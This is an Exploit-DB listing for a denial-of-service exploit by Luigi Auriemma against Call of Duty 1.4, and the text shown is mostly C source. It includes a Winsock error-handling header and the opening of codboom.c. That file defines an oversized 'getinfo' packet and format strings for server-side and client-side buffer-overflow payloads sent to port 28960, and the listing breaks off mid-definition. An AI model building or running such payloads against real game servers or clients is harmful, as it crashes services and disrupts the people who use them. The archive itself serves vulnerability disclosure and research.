Exploit-DB #433
Description: Call of Duty 1.4 - Denial of Service
Type: dos
Platform: multiple
Date: 2004-09-05
Author: Luigi Auriemma

Exploit:
/*         winerr.h         */

/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

/*  codboom.c */

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include <io.h>
    #include <malloc.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define PORT        28960
#define TIMEOUT     3
#define INFO        "\xff\xff\xff\xff" "getinfo xxx\n"
#define BOOM        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                        // must be major than 1023 bytes
#define SVBOF       "\xff\xff\xff\xff" "getinfo %s\n"
#define CLBOF       "\xff\xff\xff\xff" \
                    "%sResponse\n" \
                    "\\g_gametype\\dm" \
                    "\\gamename\\Call of Duty" \